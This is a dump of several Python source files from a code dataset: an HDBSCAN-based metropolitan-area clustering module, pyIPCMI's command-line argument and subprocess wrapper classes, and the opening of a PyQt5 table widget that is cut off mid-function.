HDBSCAN(**self.config.hdbscan_params).fit(D)\n logger.info(f\"Finished running hierarchical clustering\")\n logger.info(f\"Found {np.unique(clusters.labels_).shape[0]-1} clusters\")\n return clusters\n\n @timing\n def merge(\n self,\n df: pd.DataFrame,\n D: np.ndarray,\n population_threshold: int = 5e4,\n distance_threshold: int = 40,\n max_iter: int = 100,\n verbose: int = 10\n ):\n \"\"\"\n Merge clusters to ensure each cluster has at least one city with\n the population of at least population_threshold\n Args:\n df (pd.DataFrame): Dataframe with latitude, longitude, population and clusters.\n Clusters may be obtained from a clustering mechanism like HDBSCAN\n D (np.ndarray): Pre-computed pairwise distance matrix between lat/long pairs of df\n population_threshold (int): Maximum population of a city in a cluster should be\n at least `population_threshold` for that cluster to be an MSA\n distance_threshold (int): For a cluster that does not have a city with population of\n atleast `population_threshold`, if the closest cluster to it is farther than\n `distance_threshold` (in kilometres), then it will be marked as non-metropolitan\n max_iter (int): Maximum iterations to run for\n verbose (int): Display progress for every `verbose` iterations\n Returns:\n df (pd.DataFrame): Dataframe with updated clusters\n \"\"\"\n grouped_df = \\\n df[~df[CLUSTER].isin([-1])] \\\n .groupby(by=[CLUSTER], as_index=False) \\\n .agg({POPULATION: \"max\"}).copy()\n\n if grouped_df[POPULATION].max() < population_threshold:\n logger.info(f\"Found 0 cities with population of {population_threshold}\")\n logger.info(f\"All cities will be marked as noise\")\n logger.info(f\"Consider lowering population_threshold\")\n df[CLUSTER] = -1\n return df\n\n logger.info(f\"Merging clusters ...\")\n logger.info(f\"population_threshold: {population_threshold}\")\n logger.info(f\"distance_threshold: {distance_threshold}\")\n logger.info(f\"max_iter: {max_iter}\")\n iter = max_iter\n while iter:\n grouped_df = \\\n df[~df[CLUSTER].isin([-1])] \\\n .groupby(by=[CLUSTER], as_index=False) \\\n .agg({POPULATION: \"max\"}).copy()\n if grouped_df[POPULATION].min() >= population_threshold:\n break\n\n cluster = \\\n grouped_df[\n grouped_df[POPULATION].isin([grouped_df[POPULATION].min()])\n ][CLUSTER].values[0]\n D_cluster = D[df[CLUSTER].isin([cluster]), :]\n m, n = D_cluster.shape\n\n distances = [math.inf for _ in range(m)]\n clusters = [-1 for _ in range(m)]\n for i in range(m):\n for j in range(n):\n if (df.iloc[j][CLUSTER] == cluster) or (df.iloc[j][CLUSTER] == -1):\n pass\n else:\n if D_cluster[i, j] < distances[i]:\n distances[i] = D_cluster[i, j]\n clusters[i] = df.iloc[j][CLUSTER]\n\n arg = np.argmin(np.array(distances))\n closest_distance, closest_cluster = distances[arg], clusters[arg]\n if closest_distance >= distance_threshold:\n closest_cluster = -1\n df[CLUSTER] = df[CLUSTER].apply(lambda x: closest_cluster if x == cluster else x)\n\n iter -= 1\n if not (max_iter - iter) % verbose:\n num_clusters = df[CLUSTER].nunique() - 1\n logger.info(f\"({max_iter - iter}/{max_iter}) {num_clusters} clusters left\")\n\n if not iter:\n if df[~df[CLUSTER].isin([-1])] \\\n .groupby(by=[CLUSTER], as_index=False) \\\n .agg({POPULATION: \"max\"})[POPULATION].min() < population_threshold:\n logger.info(f\"Maximum iterations {max_iter} reached without convergence\")\n logger.info(f\"Consider increasing max_iter\")\n else:\n logger.info(f\"Converged after {max_iter} iterations\")\n else:\n logger.info(f\"Converged after {max_iter - iter} iterations\")\n\n remap = {c: i for i, c in enumerate(sorted(list(set(df[CLUSTER]) - set({-1}))))}\n df[CLUSTER] = df[CLUSTER].replace(remap)\n logger.info(f\"Number of clusters reduced to {df[CLUSTER].nunique()-1}\")\n return df\n\n @timing\n def _build(\n self,\n df: pd.DataFrame\n ):\n if df.shape[0] == 1:\n logger.info(\"Found only one city\")\n df[CLUSTER] = 0\n return df\n X = df[[LONGITUDE, LATITUDE]].to_numpy()\n X_radians = np.radians(X)\n D_pairwise = self.compute_pairwise_distances(X_radians, X_radians)\n clusters = self.cluster(D_pairwise)\n df[CLUSTER] = clusters.labels_\n if df[CLUSTER].nunique() == 1 and df[CLUSTER].unique()[0] == -1:\n logger.info(\"Found only noise\")\n return df\n df = self.merge(df=df.copy(), D=D_pairwise, **self.config.merge_params)\n return df\n\n @timing\n def build(\n self,\n df: pd.DataFrame,\n countries_list: list[str] = None\n ):\n if countries_list is not None:\n df = df[df[COUNTRY].isin(countries_list)].copy()\n df.reset_index(drop=True, inplace=True)\n df = self._build(df=df.copy())\n return df\n\n # @timing\n # def build(\n # self,\n # df: pd.DataFrame,\n # countries_list: list[str] = None\n # ):\n # if countries_list is not None:\n # df = df[df[COUNTRY].isin(countries_list)].copy()\n # df.reset_index(drop=True, inplace=True)\n # countries_list = df[COUNTRY].unique().tolist()\n # result = None\n # for country_name in countries_list:\n # logger.info(f\"Processing {country_name} ...\")\n # country = df[df[COUNTRY].isin([country_name])].copy()\n # country.reset_index(drop=True, inplace=True)\n # country = self._build(df=country.copy())\n # country_name_ = country_name.replace(\" \", \"_\")\n # country[CLUSTER] = country[CLUSTER].apply(lambda x: f\"{country_name_}__{x}\")\n # if result is not None:\n # result = pd.concat([result, country], ignore_index=True).copy()\n # else:\n # result = country.copy()\n # return result\n","repo_name":"vishu-tyagi/MSA-Assessment","sub_path":"src/rlabs/rlabs/model/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":7743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15757879082","text":"from pathlib import Path\nfrom subprocess import Popen\t\t\t\tas Subprocess_Popen\nfrom subprocess import PIPE\t\t\t\t\tas Subprocess_Pipe\nfrom subprocess import STDOUT\t\t\t\tas Subprocess_StdOut\n\nfrom pyIPCMI.Base.Exceptions import CommonException, ExceptionBase\nfrom pyIPCMI.Base.Logging import ILogable, Logger\n\n\n__api__ = [\n\t'ExecutableException',\n\t'CommandLineArgument',\n\t'ExecutableArgument',\n\t'NamedCommandLineArgument',\n\t'CommandArgument', 'ShortCommandArgument', 'LongCommandArgument', 'WindowsCommandArgument',\n\t'StringArgument',\n\t'StringListArgument',\n\t'PathArgument',\n\t'FlagArgument', 'ShortFlagArgument', 'LongFlagArgument', 'WindowsFlagArgument',\n\t'ValuedFlagArgument', 'ShortValuedFlagArgument', 'LongValuedFlagArgument', 'WindowsValuedFlagArgument',\n\t'ValuedFlagListArgument', 'ShortValuedFlagListArgument', 'LongValuedFlagListArgument', 'WindowsValuedFlagListArgument',\n\t'TupleArgument', 'ShortTupleArgument', 'LongTupleArgument', 'WindowsTupleArgument',\n\t'CommandLineArgumentList',\n\t'Environment',\n\t'Executable'\n]\n__all__ = __api__\n\n\nclass ExecutableException(ExceptionBase):\n\t\"\"\"This exception is raised by all executable abstraction classes.\"\"\"\n\tdef __init__(self, message=\"\"):\n\t\tsuper().__init__(message)\n\t\tself.message = message\n\nclass DryRunException(ExecutableException):\n\t\"\"\"This exception is raised if a simulator runs in dry-run mode.\"\"\"\n\n\nclass CommandLineArgument(type):\n\t\"\"\"Base class (and meta class) for all Arguments classes.\"\"\"\n\t_value = None\n\n\t# def __new__(mcls, name, bases, nmspc):\n\t# \tprint(\"CommandLineArgument.new: %s - %s\" % (name, nmspc))\n\t# \treturn super(CommandLineArgument, mcls).__new__(mcls, name, bases, nmspc)\n\n\nclass ExecutableArgument(CommandLineArgument):\n\t\"\"\"Represents the executable.\"\"\"\n\n\t@property\n\tdef Value(self):\n\t\treturn self._value\n\n\t@Value.setter\n\tdef Value(self, value):\n\t\tif isinstance(value, str): self._value = value\n\t\telif isinstance(value, Path): self._value = str(value)\n\t\telse: raise ValueError(\"Parameter 'value' is not of type str or Path.\")\n\n\tdef __str__(self):\n\t\tif (self._value is None): return \"\"\n\t\telse: return self._value\n\n\tdef AsArgument(self):\n\t\tif (self._value is None): raise ValueError(\"Executable argument is still empty.\")\n\t\telse: return self._value\n\n\nclass NamedCommandLineArgument(CommandLineArgument):\n\t\"\"\"Base class for all command line arguments with a name.\"\"\"\n\t_name = None # set in sub-classes\n\n\t@property\n\tdef Name(self):\n\t\treturn self._name\n\n\nclass CommandArgument(NamedCommandLineArgument):\n\t\"\"\"Represents a command name.\n\n\tIt is usually used to select a sub parser in a CLI argument parser or to hand\n\tover all following parameters to a separate tool. An example for a command is\n\t'checkout' in ``git.exe checkout``, which calls ``git-checkout.exe``.\n\t\"\"\"\n\t_pattern = \"{0}\"\n\n\t@property\n\tdef Value(self):\n\t\treturn self._value\n\n\t@Value.setter\n\tdef Value(self, value):\n\t\tif (value is None): self._value = None\n\t\telif isinstance(value, bool): self._value = value\n\t\telse: raise ValueError(\"Parameter 'value' is not of type bool.\")\n\n\tdef __str__(self):\n\t\tif (self._value is None): return \"\"\n\t\telif self._value: return self._pattern.format(self._name)\n\t\telse: return \"\"\n\n\tdef AsArgument(self):\n\t\tif (self._value is None): return None\n\t\telif self._value: return self._pattern.format(self._name)\n\t\telse: return None\n\nclass ShortCommandArgument(CommandArgument):\n\t\"\"\"Represents a command name with a single dash.\"\"\"\n\t_pattern = \"-{0}\"\n\nclass LongCommandArgument(CommandArgument):\n\t\"\"\"Represents a command name with a double dash.\"\"\"\n\t_pattern = \"--{0}\"\n\nclass WindowsCommandArgument(CommandArgument):\n\t\"\"\"Represents a command name with a single slash.\"\"\"\n\t_pattern = \"/{0}\"\n\n\nclass StringArgument(CommandLineArgument):\n\t\"\"\"Represents a simple string argument.\"\"\"\n\t_pattern = \"{0}\"\n\n\t@property\n\tdef Value(self):\n\t\treturn self._value\n\n\t@Value.setter\n\tdef Value(self, value):\n\t\tif (value is None): self._value = None\n\t\telif isinstance(value, str): self._value = value\n\t\telse:\n\t\t\ttry: self._value = str(value)\n\t\t\texcept Exception as ex: raise ValueError(\"Parameter 'value' cannot be converted to type str.\") from ex\n\n\tdef __str__(self):\n\t\tif (self._value is None): return \"\"\n\t\telif self._value: return self._pattern.format(self._value)\n\t\telse: return \"\"\n\n\tdef AsArgument(self):\n\t\tif (self._value is None): return None\n\t\telif self._value: return self._pattern.format(self._value)\n\t\telse: return None\n\nclass StringListArgument(CommandLineArgument):\n\t\"\"\"Represents a list of string arguments.\"\"\"\n\t_pattern = \"{0}\"\n\n\t@property\n\tdef Value(self):\n\t\treturn self._value\n\n\t@Value.setter\n\tdef Value(self, value):\n\t\tif (value is None): self._value = None\n\t\telif isinstance(value, (tuple, list)):\n\t\t\tself._value = []\n\t\t\ttry:\n\t\t\t\tfor item in value: self._value.append(str(item))\n\t\t\texcept TypeError as ex: raise ValueError(\"Item '{0}' in parameter 'value' cannot be converted to type str.\".format(item)) from ex\n\t\telse: raise ValueError(\"Parameter 'value' is no list or tuple.\")\n\n\tdef __str__(self):\n\t\tif (self._value is None): return \"\"\n\t\telif self._value: return \" \".join([self._pattern.format(item) for item in self._value])\n\t\telse: return \"\"\n\n\tdef AsArgument(self):\n\t\tif (self._value is None): return None\n\t\telif self._value: return [self._pattern.format(item) for item in self._value]\n\t\telse: return None\n\nclass PathArgument(CommandLineArgument):\n\t\"\"\"Represents a path argument.\n\n\tThe output format can be forced to the POSIX format with :py:data:`_PosixFormat`.\n\t\"\"\"\n\t_PosixFormat = False\n\n\t@property\n\tdef Value(self):\n\t\treturn self._value\n\n\t@Value.setter\n\tdef Value(self, value):\n\t\tif (value is None): self._value = None\n\t\telif isinstance(value, Path): self._value = value\n\t\telse: raise ValueError(\"Parameter 'value' is not of type Path.\")\n\n\tdef __str__(self):\n\t\tif (self._value is None): return \"\"\n\t\telif (self._PosixFormat): return \"\\\"\" + self._value.as_posix() + \"\\\"\"\n\t\telse: return \"\\\"\" + str(self._value) + \"\\\"\"\n\n\tdef AsArgument(self):\n\t\tif (self._value is None): return None\n\t\telif (self._PosixFormat): return self._value.as_posix()\n\t\telse: return str(self._value)\n\n\nclass FlagArgument(NamedCommandLineArgument):\n\t\"\"\"Base class for all FlagArgument classes, which represents a simple flag argument.\n\n\tA simple flag is a single boolean value (absent/present or off/on) with no data.\n\t\"\"\"\n\t_pattern = \"{0}\"\n\n\t@property\n\tdef Value(self):\n\t\treturn self._value\n\n\t@Value.setter\n\tdef Value(self, value):\n\t\tif (value is None): self._value = None\n\t\telif isinstance(value, bool): self._value = value\n\t\telse: raise ValueError(\"Parameter 'value' is not of type bool.\")\n\n\tdef __str__(self):\n\t\tif (self._value is None): return \"\"\n\t\telif self._value: return self._pattern.format(self._name)\n\t\telse: return \"\"\n\n\tdef AsArgument(self):\n\t\tif (self._value is None): return None\n\t\telif self._value: return self._pattern.format(self._name)\n\t\telse: return None\n\nclass ShortFlagArgument(FlagArgument):\n\t\"\"\"Represents a flag argument with a single dash.\n\n\tExample: ``-optimize``\n\t\"\"\"\n\t_pattern = \"-{0}\"\n\nclass LongFlagArgument(FlagArgument):\n\t\"\"\"Represents a flag argument with a double dash.\n\n\tExample: ``--optimize``\n\t\"\"\"\n\t_pattern = \"--{0}\"\n\nclass WindowsFlagArgument(FlagArgument):\n\t\"\"\"Represents a flag argument with a single slash.\n\n\tExample: ``/optimize``\n\t\"\"\"\n\t_pattern = \"/{0}\"\n\n\nclass ValuedFlagArgument(NamedCommandLineArgument):\n\t\"\"\"Class and base class for all ValuedFlagArgument classes, which represents a flag argument with data.\n\n\tA valued flag is a flag name followed by a value. The default delimiter sign is equal (``=``). Name and\n\tvalue are passed as one arguments to the executable even if the delimiter sign is a whitespace character.\n\n\tExample: ``width=100``\n\t\"\"\"\n\t_pattern = \"{0}={1}\"\n\n\t@property\n\tdef Value(self):\n\t\treturn self._value\n\n\t@Value.setter\n\tdef Value(self, value):\n\t\tif (value is None): self._value = None\n\t\telif isinstance(value, str): self._value = value\n\t\telse:\n\t\t\ttry: self._value = str(value)\n\t\t\texcept Exception as ex: raise ValueError(\"Parameter 'value' cannot be converted to type str.\") from ex\n\n\tdef __str__(self):\n\t\tif (self._value is None): return \"\"\n\t\telif self._value: return self._pattern.format(self._name, self._value)\n\t\telse: return \"\"\n\n\tdef AsArgument(self):\n\t\tif (self._value is None): return None\n\t\telif self._value: return self._pattern.format(self._name, self._value)\n\t\telse: return None\n\nclass ShortValuedFlagArgument(ValuedFlagArgument):\n\t\"\"\"Represents a :py:class:`ValuedFlagArgument` with a single dash.\n\n\tExample: ``-optimizer=on``\n\t\"\"\"\n\t_pattern = \"-{0}={1}\"\n\nclass LongValuedFlagArgument(ValuedFlagArgument):\n\t\"\"\"Represents a :py:class:`ValuedFlagArgument` with a double dash.\n\n\tExample: ``--optimizer=on``\n\t\"\"\"\n\t_pattern = \"--{0}={1}\"\n\nclass WindowsValuedFlagArgument(ValuedFlagArgument):\n\t\"\"\"Represents a :py:class:`ValuedFlagArgument` with a single slash.\n\n\tExample: ``/optimizer:on``\n\t\"\"\"\n\t_pattern = \"/{0}:{1}\"\n\n\nclass OptionalValuedFlagArgument(NamedCommandLineArgument):\n\t\"\"\"Class and base class for all OptionalValuedFlagArgument classes, which represents a flag argument with data.\n\n\tAn optional valued flag is a flag name followed by a value. The default delimiter sign is equal (``=``).\n\tName and value are passed as one arguments to the executable even if the delimiter sign is a whitespace\n\tcharacter. If the value is None, no delimiter sign and value is passed.\n\n\tExample: ``width=100``\n\t\"\"\"\n\t_pattern = \"{0}\"\n\t_patternWithValue = \"{0}={1}\"\n\n\t@property\n\tdef Value(self):\n\t\treturn self._value\n\n\t@Value.setter\n\tdef Value(self, value):\n\t\tif (value is None): self._value = None\n\t\telif isinstance(value, str): self._value = value\n\t\telse:\n\t\t\ttry: self._value = str(value)\n\t\t\texcept Exception as ex: raise ValueError(\"Parameter 'value' cannot be converted to type str.\") from ex\n\n\tdef __str__(self):\n\t\tif (self._value is None): return \"\"\n\t\telif self._value: return self._pattern.format(self._name, self._value)\n\t\telse: return \"\"\n\n\tdef AsArgument(self):\n\t\tif (self._value is None): return None\n\t\telif self._value: return self._pattern.format(self._name, self._value)\n\t\telse: return None\n\n\nclass ShortOptionalValuedFlagArgument(OptionalValuedFlagArgument):\n\t\"\"\"Represents a :py:class:`OptionalValuedFlagArgument` with a single dash.\n\n\tExample: ``-optimizer=on``\n\t\"\"\"\n\t_pattern = \"-{0}\"\n\t_patternWithValue = \"-{0}={1}\"\n\n\nclass LongOptionalValuedFlagArgument(OptionalValuedFlagArgument):\n\t\"\"\"Represents a :py:class:`OptionalValuedFlagArgument` with a double dash.\n\n\tExample: ``--optimizer=on``\n\t\"\"\"\n\t_pattern = \"--{0}\"\n\t_patternWithValue = \"--{0}={1}\"\n\n\nclass WindowsOptionalValuedFlagArgument(OptionalValuedFlagArgument):\n\t\"\"\"Represents a :py:class:`OptionalValuedFlagArgument` with a single slash.\n\n\tExample: ``/optimizer:on``\n\t\"\"\"\n\t_pattern = \"/{0}\"\n\t_patternWithValue = \"/{0}={1}\"\n\n\nclass ValuedFlagListArgument(NamedCommandLineArgument):\n\t\"\"\"Class and base class for all ValuedFlagListArgument classes, which represents a list of :py:class:`ValuedFlagArgument` instances.\n\n\tEach list item gets translated into a :py:class:`ValuedFlagArgument`, with the same flag name, but differing values. Each\n\t:py:class:`ValuedFlagArgument` is passed as a single argument to the executable, even if the delimiter sign is a whitespace\n\tcharacter.\n\n\tExample: ``file=file1.txt file=file2.txt``\n\t\"\"\"\n\t_pattern = \"{0}={1}\"\n\n\t@property\n\tdef Value(self):\n\t\treturn self._value\n\n\t@Value.setter\n\tdef Value(self, value):\n\t\tif (value is None): self._value = None\n\t\telif isinstance(value, (tuple,list)): self._value = value\n\t\telse: raise ValueError(\"Parameter 'value' is not of type tuple or list.\")\n\n\tdef __str__(self):\n\t\tif (self._value is None): return \"\"\n\t\telif (len(self._value) > 0): return \" \".join([self._pattern.format(self._name, item) for item in self._value])\n\t\telse: return \"\"\n\n\tdef AsArgument(self):\n\t\tif (self._value is None): return None\n\t\telif (len(self._value) > 0): return [self._pattern.format(self._name, item) for item in self._value]\n\t\telse: return None\n\nclass ShortValuedFlagListArgument(ValuedFlagListArgument):\n\t\"\"\"Represents a :py:class:`ValuedFlagListArgument` with a single dash.\n\n\tExample: ``-file=file1.txt -file=file2.txt``\n\t\"\"\"\n\t_pattern = \"-{0}={1}\"\n\nclass LongValuedFlagListArgument(ValuedFlagListArgument):\n\t\"\"\"Represents a :py:class:`ValuedFlagListArgument` with a double dash.\n\n\tExample: ``--file=file1.txt --file=file2.txt``\n\t\"\"\"\n\t_pattern = \"--{0}={1}\"\n\nclass WindowsValuedFlagListArgument(ValuedFlagListArgument):\n\t\"\"\"Represents a :py:class:`ValuedFlagListArgument` with a single slash.\n\n\tExample: ``/file:file1.txt /file:file2.txt``\n\t\"\"\"\n\t_pattern = \"/{0}:{1}\"\n\n\nclass TupleArgument(NamedCommandLineArgument):\n\t\"\"\"Class and base class for all TupleArgument classes, which represents a switch with separate data.\n\n\tA tuple switch is a command line argument followed by a separate value. Name and value are passed as\n\ttwo arguments to the executable.\n\n\tExample: ``width 100``\n\t\"\"\"\n\t_switchPattern = \"{0}\"\n\t_valuePattern = \"{0}\"\n\n\t@property\n\tdef Value(self):\n\t\treturn self._value\n\n\t@Value.setter\n\tdef Value(self, value):\n\t\tif (value is None): self._value = None\n\t\telif isinstance(value, str): self._value = value\n\t\telse:\n\t\t\ttry: self._value = str(value)\n\t\t\texcept TypeError as ex: raise ValueError(\"Parameter 'value' cannot be converted to type str.\") from ex\n\n\tdef __str__(self):\n\t\tif (self._value is None): return \"\"\n\t\telif self._value: return self._switchPattern.format(self._name) + \" \\\"\" + self._valuePattern.format(self._value) + \"\\\"\"\n\t\telse: return \"\"\n\n\tdef AsArgument(self):\n\t\tif (self._value is None): return None\n\t\telif self._value: return [self._switchPattern.format(self._name), self._valuePattern.format(self._value)]\n\t\telse: return None\n\nclass ShortTupleArgument(TupleArgument):\n\t\"\"\"Represents a :py:class:`TupleArgument` with a single dash in front of the switch name.\n\n\tExample: ``-file file1.txt``\n\t\"\"\"\n\t_switchPattern = \"-{0}\"\n\nclass LongTupleArgument(TupleArgument):\n\t\"\"\"Represents a :py:class:`TupleArgument` with a double dash in front of the switch name.\n\n\tExample: ``--file file1.txt``\n\t\"\"\"\n\t_switchPattern = \"--{0}\"\n\nclass WindowsTupleArgument(TupleArgument):\n\t\"\"\"Represents a :py:class:`TupleArgument` with a single slash in front of the switch name.\n\n\tExample: ``/file file1.txt``\n\t\"\"\"\n\t_switchPattern = \"/{0}\"\n\n\nclass CommandLineArgumentList(list):\n\t\"\"\"Represent a list of all available commands, flags and switch of an executable.\"\"\"\n\tdef __init__(self, *args):\n\t\tsuper().__init__()\n\t\tfor arg in args:\n\t\t\tself.append(arg)\n\n\tdef __getitem__(self, key):\n\t\ti = self.index(key)\n\t\treturn super().__getitem__(i).Value\n\n\tdef __setitem__(self, key, value):\n\t\ti = self.index(key)\n\t\tsuper().__getitem__(i).Value = value\n\n\tdef __delitem__(self, key):\n\t\ti = self.index(key)\n\t\tsuper().__getitem__(i).Value = None\n\n\tdef ToArgumentList(self):\n\t\tresult = []\n\t\tfor item in self:\n\t\t\targ = item.AsArgument()\n\t\t\tif (arg is None): pass\n\t\t\telif isinstance(arg, str): result.append(arg)\n\t\t\telif isinstance(arg, list): result += arg\n\t\t\telse: raise TypeError()\n\t\treturn result\n\n\nclass Environment:\n\tdef __init__(self):\n\t\tself.Variables = {}\n\n\nclass Executable(ILogable):\n\t\"\"\"Represent an executable.\"\"\"\n\t_pyIPCMI_BOUNDARY = \"====== pyIPCMI BOUNDARY ======\"\n\n\tdef __init__(self, platform : str, dryrun : bool, executablePath : Path, environment : Environment = None, logger : Logger =None):\n\t\tsuper().__init__(logger)\n\n\t\tself._platform = platform\n\t\tself._dryrun = dryrun\n\t\tself._environment = environment #if (environment is not None) else Environment()\n\t\tself._process = None\n\n\t\tif isinstance(executablePath, str): executablePath = Path(executablePath)\n\t\telif (not isinstance(executablePath, Path)): raise ValueError(\"Parameter 'executablePath' is not of type str or Path.\")\n\t\tif (not executablePath.exists()):\n\t\t\tif dryrun: self.LogDryRun(\"File check for '{0!s}' failed. [SKIPPING]\".format(executablePath))\n\t\t\telse: raise CommonException(\"Executable '{0!s}' not found.\".format(executablePath)) from FileNotFoundError(str(executablePath))\n\n\t\t# prepend the executable\n\t\tself._executablePath = executablePath\n\t\tself._iterator = None\n\n\t@property\n\tdef Path(self):\n\t\treturn self._executablePath\n\n\tdef StartProcess(self, parameterList):\n\t\t# start child process\n\t\t# parameterList.insert(0, str(self._executablePath))\n\t\tif (not self._dryrun):\n\t\t\tif (self._environment is not None):\n\t\t\t\tenvVariables = self._environment.Variables\n\t\t\telse:\n\t\t\t\tenvVariables = None\n\n\t\t\ttry:\n\t\t\t\tself._process = Subprocess_Popen(\n\t\t\t\t\tparameterList,\n\t\t\t\t\tstdin=Subprocess_Pipe,\n\t\t\t\t\tstdout=Subprocess_Pipe,\n\t\t\t\t\tstderr=Subprocess_StdOut,\n\t\t\t\t\tenv=envVariables,\n\t\t\t\t\tuniversal_newlines=True,\n\t\t\t\t\tbufsize=256\n\t\t\t\t)\n\t\t\texcept OSError as ex:\n\t\t\t\traise CommonException(\"Error while accessing '{0!s}'.\".format(self._executablePath)) from ex\n\t\telse:\n\t\t\tself.LogDryRun(\"Start process: {0}\".format(\" \".join(parameterList)))\n\n\tdef Send(self, line, end=\"\\n\"):\n\t\tself._process.stdin.write(line + end)\n\t\tself._process.stdin.flush()\n\n\tdef SendBoundary(self):\n\t\tself.Send(\"puts \\\"{0}\\\"\".format(self._pyIPCMI_BOUNDARY))\n\n\tdef Terminate(self):\n\t\tself._process.terminate()\n\n\tdef GetReader(self):\n\t\tif (not self._dryrun):\n\t\t\ttry:\n\t\t\t\tfor line in iter(self._process.stdout.readline, \"\"):\n\t\t\t\t\tyield line[:-1]\n\t\t\texcept Exception as ex:\n\t\t\t\traise ex\n\t\t\t# finally:\n\t\t\t\t# self._process.terminate()\n\t\telse:\n\t\t\traise DryRunException()\n\n\tdef ReadUntilBoundary(self, indent=0):\n\t\t__indent = \" \" * indent\n\t\tif (self._iterator is None):\n\t\t\tself._iterator = iter(self.GetReader())\n\n\t\tfor line in self._iterator:\n\t\t\tprint(__indent + line)\n\t\t\tif (self._pyIPCMI_BOUNDARY in line):\n\t\t\t\tbreak\n\t\tself.LogDebug(\"Quartus II is ready\")\n","repo_name":"Paebbels/pyIPCMI","sub_path":"pyIPCMI/Base/Executable.py","file_name":"Executable.py","file_ext":"py","file_size_in_byte":18972,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"16923706125","text":"import re\n\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QColor\nfrom PyQt5.QtWidgets import QTableWidget, QTableWidgetItem, QAbstractItemView, QMenu, QMessageBox\nfrom PyQt5.Qt import QAction, QCursor\nimport numpy as np\nimport pandas as pd\n\nfrom DyCommon.DyCommon import *\nfrom .DySingleEditDlg import *\n\n\nclass DyTableWidgetItem(QTableWidgetItem):\n\n def __init__(self, role):\n super().__init__()\n\n self._role = role\n\n def __lt__(self, other):\n try:\n value = float(self.data(self._role))\n otherValue = float(other.data(self._role))\n\n return value < otherValue\n except Exception as ex:\n return super().__lt__(other)\n\n\nclass DyTableWidget(QTableWidget):\n highlightBackground = QColor('#FFD700')\n\n def __init__(self, parent=None, readOnly=False, index=True, floatCut=True, autoScroll=True, floatRound=2):\n \"\"\"\n @index: 是否要插入默认行索引(Org.)\n @floatRound: 小数点后格式化成几位, 只在@floatCut is True时有效\n \"\"\"\n super().__init__(parent)\n\n self.setSortingEnabled(True)\n self.verticalHeader().setVisible(False)\n\n if readOnly:\n self.setEditTriggers(QTableWidget.NoEditTriggers)\n self.setSelectionBehavior(QAbstractItemView.SelectRows) \n\n self._role = Qt.DisplayRole if readOnly else Qt.EditRole\n self.__index = index # 原始插入的行索引\n self._floatCut = floatCut\n self._floatRoundFormat = '%.{0}f'.format(floatRound)\n\n self._autoForegroundCol = None # 指定前景色关键列,如果此列对应的值改变时,将改变所对应行的前景色。包含'Org.'列\n self._enableAutoScroll = autoScroll\n\n self.setColNames([])\n\n self._initItemMenu()\n\n self._initRows()\n\n def _initRows(self):\n self._itemsMap = {} # 由行关键字建立的item的字典, {key: [item]}\n\n # mark\n self._markedItem = None\n self._markedItemOriginalBackground = None\n self._markedItemsOriginalForeground = []\n\n # highlight, item is one of item in one row\n self._highlightedItems = [] # [[item, [highlightedItemsOriginalForeground], [highlightedItemsOriginalBackground]]]\n\n # find\n self._findItems = []\n self._curFindItemPos = 0\n\n def _clearHighlight(self):\n # reproduce highlighed items because during cancel highlight procedure element will be deleted from @self._highlightedItems\n highlightedItems = [item[0] for item in self._highlightedItems]\n\n for item in highlightedItems:\n self._highlight(item)\n\n def _clearVisualEffects(self):\n self._mark(self._markedItem)\n\n self._clearHighlight()\n\n def __getitem__(self, indices):\n row, col = indices\n\n item = self._getItem(row, col)\n if item is None:\n return None\n\n return DyCommon.toNumber(item.data(self._role))\n\n def _getItem(self, row, col):\n # row\n if isinstance(row, str):\n item = None\n if row in self._itemsMap:\n item = self._itemsMap[row][0]\n if item is None:\n return None\n\n row = item.row()\n\n # column\n if isinstance(col, int):\n if self.__index:\n col += 1\n else:\n col = self._getColPos(col)\n\n # get item\n try:\n item = self.item(row, col)\n except:\n item = None\n\n return item\n\n def _updateItemsMap(self, rowKey, col, item):\n if rowKey not in self._itemsMap:\n self._itemsMap[rowKey] = []\n\n rowLen = len(self._itemsMap[rowKey])\n\n for i in range(rowLen, col + 1):\n self._itemsMap[rowKey].append(None)\n\n self._itemsMap[rowKey][col] = item\n\n def _getColPos(self, colName):\n for i in range(self.columnCount()):\n item = self.horizontalHeaderItem(i)\n\n if colName == item.text():\n return i\n\n return None\n\n def _updateItem(self, row, col, value):\n \"\"\"\n Update one item, @row and @col can be string or integer. It's gengeral function.\n @col is included Org. for @col is integer, i.e. it's absolute updating.\n \"\"\"\n if isinstance(row, str):\n self._updateItemByRowKey(row, col, value)\n else:\n self._updateItemByRowPos(row, col, value)\n\n def _updateItemByRowPos(self, row, col, value):\n if isinstance(col, str):\n colPos = self._getColPos(col)\n\n if colPos is None: # insert a new column with column name\n colPos = self.columnCount()\n\n item = QTableWidgetItem(col)\n self.setHorizontalHeaderItem(colPos, item)\n\n col = colPos\n\n # now we take it by positions\n self._updateItemByPos(row, col, value)\n\n def _getColPosWithCreation(self, colName):\n colPos = self._getColPos(col)\n\n if colPos is None: # insert a new column with column name\n colPos = self.columnCount()\n\n item = QTableWidgetItem(col)\n self.setHorizontalHeaderItem(colPos, item)\n\n return colPos\n\n def _setAutoRowForeground(self, item):\n if self._autoForegroundCol is None:\n return\n\n # ignore 'Org.' column\n if self.__index and item.column() == 0:\n return\n\n # get forground of reference item\n row = item.row()\n\n refItem = self.item(row, self._autoForegroundCol)\n\n if not refItem:\n return\n\n # set forground same as reference item\n item.setForeground(refItem.foreground())\n\n # we still need to go through row if value of reference item changed\n if item.column() == self._autoForegroundCol:\n # get foreground for row\n color = self.getForegroundOverride(item.data(self._role))\n if color is None:\n if item.background() == Qt.white: # for qdarkstyle\n color = Qt.black\n else:\n color = Qt.white\n\n # no foreground changed\n if item.foreground() == color:\n return\n\n for i in range(self.columnCount()):\n if self.__index and i == 0: continue\n\n item = self.item(row, i)\n if item:\n item.setForeground(color)\n\n def _setItemData(self, item, value):\n \"\"\"\n 设置Item的值和相应的格式\n string值将会保持原始格式\n \"\"\"\n assert value is None or isinstance(value, float) or isinstance(value, int) or isinstance(value, str), 'type(value) is {0}'.format(type(value))\n\n # set data\n if isinstance(value, float):\n if not np.isnan(value):\n if self._floatCut:\n value = self._floatRoundFormat%value\n else:\n value = None\n\n item.setData(self._role, value)\n\n # set auto row color\n self._setAutoRowForeground(item)\n\n if self._enableAutoScroll:\n self.scrollToItem(item)\n\n def _setItemDataFast(self, item, value):\n 